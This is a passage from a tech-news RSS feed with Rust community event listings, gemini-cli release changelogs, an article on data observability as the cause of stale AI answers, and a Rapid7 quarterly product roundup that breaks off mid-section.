<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260723.g9681621c6]]></title>
<description><![CDATA[What's Changed

fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g96...]]></description>
<link>https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</guid>
<pubDate>Thu, 23 Jul 2026 03:47:23 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6"><tt>v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.53.0-preview.0]]></title>
<description><![CDATA[What's Changed

fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt p...]]></description>
<link>https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</guid>
<pubDate>Wed, 22 Jul 2026 22:25:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-preview.0...v0.53.0-preview.0"><tt>v0.52.0-preview.0...v0.53.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat 